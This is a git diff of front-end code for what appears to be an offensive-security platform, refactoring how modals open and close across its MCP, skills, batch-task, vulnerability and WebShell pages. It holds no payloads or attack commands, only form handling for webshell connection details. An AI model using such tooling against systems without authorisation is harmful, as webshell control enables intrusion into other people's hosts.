||||||
|
document.getElementById('external-mcp-json-error').textContent = '';
|
||||||
|
document.getElementById('external-mcp-json').classList.remove('error');
|
||||||
|
openAppModal('external-mcp-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
|
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
|
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
|
||||||
}
|
}
|
||||||
|
|
||||||
const server = await response.json();
|
const server = await response.json();
|
||||||
currentEditingMCPName = name;
|
|
||||||
|
|
||||||
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
|
|
||||||
|
|
||||||
// 将配置转换为对象格式(key为名称)
|
|
||||||
const config = { ...server.config };
|
const config = { ...server.config };
|
||||||
// 移除tool_count、external_mcp_enable等前端字段,但保留enabled/disabled用于向后兼容
|
|
||||||
delete config.tool_count;
|
delete config.tool_count;
|
||||||
delete config.external_mcp_enable;
|
delete config.external_mcp_enable;
|
||||||
|
|
||||||
// 包装成对象格式:{ "name": { config } }
|
|
||||||
const configObj = {};
|
const configObj = {};
|
||||||
configObj[name] = config;
|
configObj[name] = config;
|
||||||
|
|
||||||
// 格式化JSON
|
|
||||||
const jsonStr = JSON.stringify(configObj, null, 2);
|
const jsonStr = JSON.stringify(configObj, null, 2);
|
||||||
document.getElementById('external-mcp-json').value = jsonStr;
|
deferModalContent(() => {
|
||||||
document.getElementById('external-mcp-json-error').style.display = 'none';
|
document.getElementById('external-mcp-json').value = jsonStr;
|
||||||
document.getElementById('external-mcp-json-error').textContent = '';
|
document.getElementById('external-mcp-json')?.focus();
|
||||||
document.getElementById('external-mcp-json').classList.remove('error');
|
});
|
||||||
|
|
||||||
document.getElementById('external-mcp-modal').style.display = 'block';
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeExternalMCPModal();
|
||||||
console.error('编辑外部MCP失败:', error);
|
console.error('编辑外部MCP失败:', error);
|
||||||
alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message);
|
alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
@@ -2226,6 +2422,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
|||||||
}
|
}
|
||||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||||
pollExternalMCPToolCount(name, 10);
|
pollExternalMCPToolCount(name, 10);
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2238,6 +2435,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
|||||||
} else {
|
} else {
|
||||||
// 停止操作,直接刷新
|
// 停止操作,直接刷新
|
||||||
await loadExternalMCPs();
|
await loadExternalMCPs();
|
||||||
|
await reloadMcpToolsAfterExternalChange(false);
|
||||||
// 刷新对话界面的工具列表
|
// 刷新对话界面的工具列表
|
||||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||||
window.refreshMentionTools();
|
window.refreshMentionTools();
|
||||||
@@ -2289,6 +2487,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
|
|||||||
}
|
}
|
||||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||||
pollExternalMCPToolCount(name, 10);
|
pollExternalMCPToolCount(name, 10);
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
return;
|
return;
|
||||||
} else if (status === 'error' || status === 'disconnected') {
|
} else if (status === 'error' || status === 'disconnected') {
|
||||||
// 连接失败,刷新列表并显示错误
|
// 连接失败,刷新列表并显示错误
|
||||||
|
|||||||
+40
-40
@@ -40,7 +40,7 @@ function shouldSkipSkillsAutoRefresh() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const modal = document.getElementById('skill-modal');
|
const modal = document.getElementById('skill-modal');
|
||||||
if (modal && modal.style.display === 'flex') {
|
if (modal && isAppModalOpen('skill-modal')) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -465,7 +465,7 @@ function showAddSkillModal() {
|
|||||||
const addTa = document.getElementById('skill-content-add');
|
const addTa = document.getElementById('skill-content-add');
|
||||||
if (addTa) addTa.value = '';
|
if (addTa) addTa.value = '';
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('skill-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
function skillPackagePathDepth(path) {
|
function skillPackagePathDepth(path) {
|
||||||
@@ -555,6 +555,22 @@ async function selectSkillPackageFile(skillId, path, opts) {
|
|||||||
// 编辑skill
|
// 编辑skill
|
||||||
async function editSkill(skillId) {
|
async function editSkill(skillId) {
|
||||||
wireSkillModalOnce();
|
wireSkillModalOnce();
|
||||||
|
const modal = document.getElementById('skill-modal');
|
||||||
|
if (!modal) return;
|
||||||
|
skillModalAddMode = false;
|
||||||
|
skillFileDirty = false;
|
||||||
|
skillActivePath = 'SKILL.md';
|
||||||
|
const pkg = document.getElementById('skill-package-editor');
|
||||||
|
const addEd = document.getElementById('skill-add-editor');
|
||||||
|
if (pkg) pkg.style.display = 'block';
|
||||||
|
if (addEd) addEd.style.display = 'none';
|
||||||
|
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
|
||||||
|
document.getElementById('skill-name').value = '';
|
||||||
|
document.getElementById('skill-name').disabled = true;
|
||||||
|
document.getElementById('skill-description').value = '';
|
||||||
|
const ta = document.getElementById('skill-content');
|
||||||
|
if (ta) ta.value = '';
|
||||||
|
openAppModal('skill-modal', { focus: false });
|
||||||
try {
|
try {
|
||||||
const [detailRes, filesRes] = await Promise.all([
|
const [detailRes, filesRes] = await Promise.all([
|
||||||
apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`),
|
apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`),
|
||||||
@@ -565,39 +581,24 @@ async function editSkill(skillId) {
|
|||||||
}
|
}
|
||||||
const data = await detailRes.json();
|
const data = await detailRes.json();
|
||||||
const skill = data.skill;
|
const skill = data.skill;
|
||||||
|
let files = [];
|
||||||
const modal = document.getElementById('skill-modal');
|
|
||||||
if (!modal) return;
|
|
||||||
|
|
||||||
skillModalAddMode = false;
|
|
||||||
skillFileDirty = false;
|
|
||||||
skillActivePath = 'SKILL.md';
|
|
||||||
const pkg = document.getElementById('skill-package-editor');
|
|
||||||
const addEd = document.getElementById('skill-add-editor');
|
|
||||||
if (pkg) pkg.style.display = 'block';
|
|
||||||
if (addEd) addEd.style.display = 'none';
|
|
||||||
|
|
||||||
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
|
|
||||||
document.getElementById('skill-name').value = skill.id || skillId;
|
|
||||||
document.getElementById('skill-name').disabled = true;
|
|
||||||
document.getElementById('skill-description').value = skill.description || '';
|
|
||||||
|
|
||||||
if (filesRes.ok) {
|
if (filesRes.ok) {
|
||||||
const fd = await filesRes.json();
|
const fd = await filesRes.json();
|
||||||
skillPackageFiles = fd.files || [];
|
files = fd.files || [];
|
||||||
} else {
|
|
||||||
skillPackageFiles = [];
|
|
||||||
}
|
}
|
||||||
renderSkillPackageTree();
|
|
||||||
|
|
||||||
const ta = document.getElementById('skill-content');
|
|
||||||
if (ta) ta.value = skill.content || '';
|
|
||||||
const hint = document.getElementById('skill-body-hint-edit');
|
|
||||||
if (hint) hint.style.display = 'block';
|
|
||||||
|
|
||||||
currentEditingSkillName = skillId;
|
currentEditingSkillName = skillId;
|
||||||
modal.style.display = 'flex';
|
deferModalContent(() => {
|
||||||
|
document.getElementById('skill-name').value = skill.id || skillId;
|
||||||
|
document.getElementById('skill-description').value = skill.description || '';
|
||||||
|
skillPackageFiles = files;
|
||||||
|
renderSkillPackageTree();
|
||||||
|
if (ta) ta.value = skill.content || '';
|
||||||
|
const hint = document.getElementById('skill-body-hint-edit');
|
||||||
|
if (hint) hint.style.display = 'block';
|
||||||
|
document.getElementById('skill-name')?.focus();
|
||||||
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeSkillModal();
|
||||||
console.error('加载skill详情失败:', error);
|
console.error('加载skill详情失败:', error);
|
||||||
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
|
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
|
||||||
}
|
}
|
||||||
@@ -659,7 +660,7 @@ async function viewSkill(skillId) {
|
|||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
|
|
||||||
const close = () => closeSkillViewModal();
|
const close = () => closeSkillViewModal();
|
||||||
modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close));
|
modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close));
|
||||||
@@ -691,23 +692,22 @@ async function viewSkill(skillId) {
|
|||||||
|
|
||||||
// 关闭查看模态框
|
// 关闭查看模态框
|
||||||
function closeSkillViewModal() {
|
function closeSkillViewModal() {
|
||||||
|
closeAppModal('skill-view-modal');
|
||||||
const modal = document.getElementById('skill-view-modal');
|
const modal = document.getElementById('skill-view-modal');
|
||||||
if (modal) {
|
if (modal) {
|
||||||
modal.remove();
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭skill模态框
|
// 关闭skill模态框
|
||||||
function closeSkillModal() {
|
function closeSkillModal() {
|
||||||
const modal = document.getElementById('skill-modal');
|
closeAppModal('skill-modal');
|
||||||
if (modal) {
|
currentEditingSkillName = null;
|
||||||
modal.style.display = 'none';
|
skillModalAddMode = true;
|
||||||
currentEditingSkillName = null;
|
skillFileDirty = false;
|
||||||
skillModalAddMode = true;
|
skillPackageFiles = [];
|
||||||
skillFileDirty = false;
|
skillActivePath = 'SKILL.md';
|
||||||
skillPackageFiles = [];
|
|
||||||
skillActivePath = 'SKILL.md';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 保存skill
|
// 保存skill
|
||||||
|
|||||||
+18
-25
@@ -914,18 +914,14 @@ async function showBatchImportModal() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
await refreshBatchProjectSelectOptions();
|
await refreshBatchProjectSelectOptions();
|
||||||
|
|
||||||
modal.style.display = 'block';
|
openAppModal('batch-import-modal', { focusEl: input });
|
||||||
input.focus();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭新建任务模态框
|
// 关闭新建任务模态框
|
||||||
function closeBatchImportModal() {
|
function closeBatchImportModal() {
|
||||||
const modal = document.getElementById('batch-import-modal');
|
closeAppModal('batch-import-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleBatchScheduleModeChange() {
|
function handleBatchScheduleModeChange() {
|
||||||
@@ -1350,7 +1346,13 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
const addTaskBtn = document.getElementById('batch-queue-add-task-btn');
|
const addTaskBtn = document.getElementById('batch-queue-add-task-btn');
|
||||||
|
|
||||||
if (!modal || !content) return;
|
if (!modal || !content) return;
|
||||||
|
|
||||||
|
const alreadyOpen = isAppModalOpen('batch-queue-detail-modal');
|
||||||
|
if (!alreadyOpen) {
|
||||||
|
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
|
||||||
|
openAppModal('batch-queue-detail-modal', { focus: false });
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// 加载角色列表(如果还未加载)
|
// 加载角色列表(如果还未加载)
|
||||||
let loadedRoles = [];
|
let loadedRoles = [];
|
||||||
@@ -1459,6 +1461,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
const sameQueueAsBefore = prevDetailFor === queue.id;
|
const sameQueueAsBefore = prevDetailFor === queue.id;
|
||||||
const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open);
|
const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open);
|
||||||
|
|
||||||
|
deferModalContent(function () {
|
||||||
content.innerHTML = `
|
content.innerHTML = `
|
||||||
<div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}">
|
<div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}">
|
||||||
<section class="batch-queue-detail-hero">
|
<section class="batch-queue-detail-hero">
|
||||||
@@ -1529,8 +1532,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
if (newTechDetails && savedTechDetailsOpen) {
|
if (newTechDetails && savedTechDetailsOpen) {
|
||||||
newTechDetails.open = true;
|
newTechDetails.open = true;
|
||||||
}
|
}
|
||||||
|
});
|
||||||
modal.style.display = 'block';
|
|
||||||
|
|
||||||
// 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态
|
// 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态
|
||||||
if (queue.status === 'running') {
|
if (queue.status === 'running') {
|
||||||
@@ -1540,6 +1542,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('获取队列详情失败:', error);
|
console.error('获取队列详情失败:', error);
|
||||||
|
closeBatchQueueDetailModal();
|
||||||
alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message);
|
alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1708,10 +1711,7 @@ async function deleteBatchQueueFromList(queueId) {
|
|||||||
|
|
||||||
// 关闭批量任务队列详情模态框
|
// 关闭批量任务队列详情模态框
|
||||||
function closeBatchQueueDetailModal() {
|
function closeBatchQueueDetailModal() {
|
||||||
const modal = document.getElementById('batch-queue-detail-modal');
|
closeAppModal('batch-queue-detail-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
batchQueuesState.currentQueueId = null;
|
batchQueuesState.currentQueueId = null;
|
||||||
stopBatchQueueRefresh();
|
stopBatchQueueRefresh();
|
||||||
}
|
}
|
||||||
@@ -1730,7 +1730,7 @@ function startBatchQueueRefresh(queueId) {
|
|||||||
content.querySelector('.bq-inline-edit-controls') ||
|
content.querySelector('.bq-inline-edit-controls') ||
|
||||||
content.querySelector('.batch-task-inline-edit')
|
content.querySelector('.batch-task-inline-edit')
|
||||||
);
|
);
|
||||||
if ((addModal && addModal.style.display === 'block') || hasInlineEdit) {
|
if ((addModal && isAppModalOpen('add-batch-task-modal')) || hasInlineEdit) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (batchQueuesState._bqDetailRefreshing) {
|
if (batchQueuesState._bqDetailRefreshing) {
|
||||||
@@ -1891,12 +1891,7 @@ function showAddBatchTaskModal() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
messageInput.value = '';
|
messageInput.value = '';
|
||||||
modal.style.display = 'block';
|
openAppModal('add-batch-task-modal', { focusEl: messageInput });
|
||||||
|
|
||||||
// 聚焦到输入框
|
|
||||||
setTimeout(() => {
|
|
||||||
messageInput.focus();
|
|
||||||
}, 100);
|
|
||||||
|
|
||||||
// 清理旧的事件监听器
|
// 清理旧的事件监听器
|
||||||
if (showAddBatchTaskModal._escHandler) {
|
if (showAddBatchTaskModal._escHandler) {
|
||||||
@@ -1940,9 +1935,7 @@ function closeAddBatchTaskModal() {
|
|||||||
}
|
}
|
||||||
const modal = document.getElementById('add-batch-task-modal');
|
const modal = document.getElementById('add-batch-task-modal');
|
||||||
const messageInput = document.getElementById('add-task-message');
|
const messageInput = document.getElementById('add-task-message');
|
||||||
if (modal) {
|
closeAppModal('add-batch-task-modal');
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
if (messageInput) {
|
if (messageInput) {
|
||||||
messageInput.value = '';
|
messageInput.value = '';
|
||||||
}
|
}
|
||||||
@@ -2462,7 +2455,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
const detailModal = document.getElementById('batch-queue-detail-modal');
|
const detailModal = document.getElementById('batch-queue-detail-modal');
|
||||||
if (
|
if (
|
||||||
detailModal &&
|
detailModal &&
|
||||||
detailModal.style.display === 'block' &&
|
isAppModalOpen('batch-queue-detail-modal') &&
|
||||||
batchQueuesState.currentQueueId
|
batchQueuesState.currentQueueId
|
||||||
) {
|
) {
|
||||||
showBatchQueueDetail(batchQueuesState.currentQueueId);
|
showBatchQueueDetail(batchQueuesState.currentQueueId);
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
|
|||||||
open: 'vulnerabilityPage.statusOpen',
|
open: 'vulnerabilityPage.statusOpen',
|
||||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||||
fixed: 'vulnerabilityPage.statusFixed',
|
fixed: 'vulnerabilityPage.statusFixed',
|
||||||
false_positive: 'vulnerabilityPage.statusFalsePositive'
|
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||||
|
ignored: 'vulnerabilityPage.statusIgnored'
|
||||||
};
|
};
|
||||||
return m[code] ? vulnT(m[code]) : code;
|
return m[code] ? vulnT(m[code]) : code;
|
||||||
}
|
}
|
||||||
@@ -1089,37 +1090,36 @@ async function showAddVulnerabilityModal() {
|
|||||||
document.getElementById('vulnerability-impact').value = '';
|
document.getElementById('vulnerability-impact').value = '';
|
||||||
document.getElementById('vulnerability-recommendation').value = '';
|
document.getElementById('vulnerability-recommendation').value = '';
|
||||||
|
|
||||||
document.getElementById('vulnerability-modal').style.display = 'block';
|
openAppModal('vulnerability-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑漏洞
|
// 编辑漏洞
|
||||||
async function editVulnerability(id) {
|
async function editVulnerability(id) {
|
||||||
try {
|
try {
|
||||||
const response = await apiFetch(`/api/vulnerabilities/${id}`);
|
|
||||||
if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
|
|
||||||
|
|
||||||
const vuln = await response.json();
|
|
||||||
currentVulnerabilityId = id;
|
currentVulnerabilityId = id;
|
||||||
document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln');
|
document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln');
|
||||||
|
openAppModal('vulnerability-modal', { focus: false });
|
||||||
// 填充表单
|
const response = await apiFetch(`/api/vulnerabilities/${id}`);
|
||||||
document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || '';
|
if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
|
||||||
document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || '';
|
const vuln = await response.json();
|
||||||
document.getElementById('vulnerability-task-tag').value = vuln.task_tag || '';
|
deferModalContent(async () => {
|
||||||
document.getElementById('vulnerability-title').value = vuln.title || '';
|
document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || '';
|
||||||
document.getElementById('vulnerability-description').value = vuln.description || '';
|
document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || '';
|
||||||
document.getElementById('vulnerability-severity').value = vuln.severity || '';
|
document.getElementById('vulnerability-task-tag').value = vuln.task_tag || '';
|
||||||
document.getElementById('vulnerability-status').value = vuln.status || 'open';
|
document.getElementById('vulnerability-title').value = vuln.title || '';
|
||||||
document.getElementById('vulnerability-type').value = vuln.type || '';
|
document.getElementById('vulnerability-description').value = vuln.description || '';
|
||||||
document.getElementById('vulnerability-target').value = vuln.target || '';
|
document.getElementById('vulnerability-severity').value = vuln.severity || '';
|
||||||
document.getElementById('vulnerability-proof').value = vuln.proof || '';
|
document.getElementById('vulnerability-status').value = vuln.status || 'open';
|
||||||
document.getElementById('vulnerability-impact').value = vuln.impact || '';
|
document.getElementById('vulnerability-type').value = vuln.type || '';
|
||||||
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || '';
|
document.getElementById('vulnerability-target').value = vuln.target || '';
|
||||||
|
document.getElementById('vulnerability-proof').value = vuln.proof || '';
|
||||||
await populateVulnerabilityModalProjectSelect(vuln.project_id || '');
|
document.getElementById('vulnerability-impact').value = vuln.impact || '';
|
||||||
|
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || '';
|
||||||
document.getElementById('vulnerability-modal').style.display = 'block';
|
await populateVulnerabilityModalProjectSelect(vuln.project_id || '');
|
||||||
|
document.getElementById('vulnerability-title')?.focus();
|
||||||
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeVulnerabilityModal();
|
||||||
console.error('加载漏洞失败:', error);
|
console.error('加载漏洞失败:', error);
|
||||||
alert(vulnT('vulnerability.loadFailed') + ': ' + error.message);
|
alert(vulnT('vulnerability.loadFailed') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
@@ -1232,7 +1232,7 @@ async function deleteVulnerability(id) {
|
|||||||
|
|
||||||
// 关闭漏洞模态框
|
// 关闭漏洞模态框
|
||||||
function closeVulnerabilityModal() {
|
function closeVulnerabilityModal() {
|
||||||
document.getElementById('vulnerability-modal').style.display = 'none';
|
closeAppModal('vulnerability-modal');
|
||||||
currentVulnerabilityId = null;
|
currentVulnerabilityId = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1748,7 +1748,7 @@ async function refreshVulnerabilityProjectFilter() {
|
|||||||
sel.innerHTML = html;
|
sel.innerHTML = html;
|
||||||
if (cur) sel.value = cur;
|
if (cur) sel.value = cur;
|
||||||
const modalSel = document.getElementById('vulnerability-project-id');
|
const modalSel = document.getElementById('vulnerability-project-id');
|
||||||
if (modalSel && document.getElementById('vulnerability-modal')?.style.display === 'block') {
|
if (modalSel && isAppModalOpen('vulnerability-modal')) {
|
||||||
const modalCur = modalSel.value || '';
|
const modalCur = modalSel.value || '';
|
||||||
modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur);
|
modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur);
|
||||||
modalSel.value = modalCur;
|
modalSel.value = modalCur;
|
||||||
|
|||||||
+27
-22
@@ -2301,10 +2301,14 @@ function selectWebshell(id, stateReady) {
|
|||||||
|
|
||||||
function setDbProfileModalVisible(visible, mode) {
|
function setDbProfileModalVisible(visible, mode) {
|
||||||
if (!dbProfileModalEl) return;
|
if (!dbProfileModalEl) return;
|
||||||
dbProfileModalEl.style.display = visible ? 'block' : 'none';
|
if (visible) {
|
||||||
if (dbProfileModalTitleEl) {
|
if (dbProfileModalTitleEl) {
|
||||||
if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接';
|
if (mode === 'add') dbProfileModalTitleEl.textContent = wsT('webshell.dbAddProfile') || '新增连接';
|
||||||
else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接';
|
else dbProfileModalTitleEl.textContent = wsT('webshell.editConnectionTitle') || '编辑连接';
|
||||||
|
}
|
||||||
|
openAppModal(dbProfileModalEl);
|
||||||
|
} else {
|
||||||
|
closeAppModal(dbProfileModalEl);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -4369,37 +4373,38 @@ function showAddWebshellModal() {
|
|||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
|
if (titleEl) titleEl.textContent = wsT('webshell.addConnection');
|
||||||
var modal = document.getElementById('webshell-modal');
|
var modal = document.getElementById('webshell-modal');
|
||||||
if (modal) modal.style.display = 'block';
|
if (modal) openAppModal(modal);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 打开编辑连接弹窗(预填当前连接信息)
|
// 打开编辑连接弹窗(预填当前连接信息)
|
||||||
function showEditWebshellModal(connId) {
|
function showEditWebshellModal(connId) {
|
||||||
var conn = webshellConnections.find(function (c) { return c.id === connId; });
|
var conn = webshellConnections.find(function (c) { return c.id === connId; });
|
||||||
if (!conn) return;
|
if (!conn) return;
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
|
||||||
if (editIdEl) editIdEl.value = conn.id;
|
|
||||||
document.getElementById('webshell-url').value = conn.url || '';
|
|
||||||
document.getElementById('webshell-password').value = conn.password || '';
|
|
||||||
document.getElementById('webshell-type').value = conn.type || 'php';
|
|
||||||
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
|
|
||||||
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
|
|
||||||
var osEditEl = document.getElementById('webshell-os');
|
|
||||||
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
|
|
||||||
var encEditEl = document.getElementById('webshell-encoding');
|
|
||||||
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
|
|
||||||
document.getElementById('webshell-remark').value = conn.remark || '';
|
|
||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
|
if (titleEl) titleEl.textContent = wsT('webshell.editConnectionTitle');
|
||||||
var modal = document.getElementById('webshell-modal');
|
openAppModal('webshell-modal', { focus: false });
|
||||||
if (modal) modal.style.display = 'block';
|
deferModalContent(function () {
|
||||||
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
|
if (editIdEl) editIdEl.value = conn.id;
|
||||||
|
document.getElementById('webshell-url').value = conn.url || '';
|
||||||
|
document.getElementById('webshell-password').value = conn.password || '';
|
||||||
|
document.getElementById('webshell-type').value = conn.type || 'php';
|
||||||
|
document.getElementById('webshell-method').value = (conn.method || 'post').toLowerCase();
|
||||||
|
document.getElementById('webshell-cmd-param').value = conn.cmdParam || '';
|
||||||
|
var osEditEl = document.getElementById('webshell-os');
|
||||||
|
if (osEditEl) osEditEl.value = normalizeWebshellOS(conn.os);
|
||||||
|
var encEditEl = document.getElementById('webshell-encoding');
|
||||||
|
if (encEditEl) encEditEl.value = normalizeWebshellEncoding(conn.encoding);
|
||||||
|
document.getElementById('webshell-remark').value = conn.remark || '';
|
||||||
|
document.getElementById('webshell-url')?.focus();
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭弹窗
|
// 关闭弹窗
|
||||||
function closeWebshellModal() {
|
function closeWebshellModal() {
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
if (editIdEl) editIdEl.value = '';
|
if (editIdEl) editIdEl.value = '';
|
||||||
var modal = document.getElementById('webshell-modal');
|
closeAppModal('webshell-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端)
|
// 语言切换时刷新 WebShell 页面内所有由 JS 生成的文案(不重建终端)
|
||||||
@@ -4571,7 +4576,7 @@ function refreshWebshellUIOnLanguageChange() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var modal = document.getElementById('webshell-modal');
|
var modal = document.getElementById('webshell-modal');
|
||||||
if (modal && modal.style.display === 'block') {
|
if (modal && isAppModalOpen('webshell-modal')) {
|
||||||
var titleEl = document.getElementById('webshell-modal-title');
|
var titleEl = document.getElementById('webshell-modal-title');
|
||||||
var editIdEl = document.getElementById('webshell-edit-id');
|
var editIdEl = document.getElementById('webshell-edit-id');
|
||||||
if (titleEl) {
|
if (titleEl) {
|
||||||
|
|||||||
+36
-14
@@ -9,6 +9,7 @@
|
|||||||
<link rel="stylesheet" href="/static/css/style.css">
|
<link rel="stylesheet" href="/static/css/style.css">
|
||||||
<link rel="stylesheet" href="/static/css/c2.css">
|
<link rel="stylesheet" href="/static/css/c2.css">
|
||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@4.19.0/css/xterm.css">
|
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@4.19.0/css/xterm.css">
|
||||||
|
<script src="/static/js/router.js"></script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div id="login-overlay" class="login-overlay" style="display: none;">
|
<div id="login-overlay" class="login-overlay" style="display: none;">
|
||||||
@@ -1471,18 +1472,20 @@
|
|||||||
<div class="projects-detail-inner" id="projects-detail-inner" hidden>
|
<div class="projects-detail-inner" id="projects-detail-inner" hidden>
|
||||||
<header class="projects-detail-header">
|
<header class="projects-detail-header">
|
||||||
<div class="projects-detail-header-main">
|
<div class="projects-detail-header-main">
|
||||||
<div class="projects-detail-title-row">
|
<div class="projects-detail-headline">
|
||||||
<h3 id="projects-detail-title" class="projects-detail-title" data-i18n="projects.defaultProjectName">项目</h3>
|
<div class="projects-detail-title-group">
|
||||||
<span id="projects-detail-status" class="projects-status-pill projects-status-pill--active" data-i18n="projects.statusActive">进行中</span>
|
<h3 id="projects-detail-title" class="projects-detail-title" data-i18n="projects.defaultProjectName">项目</h3>
|
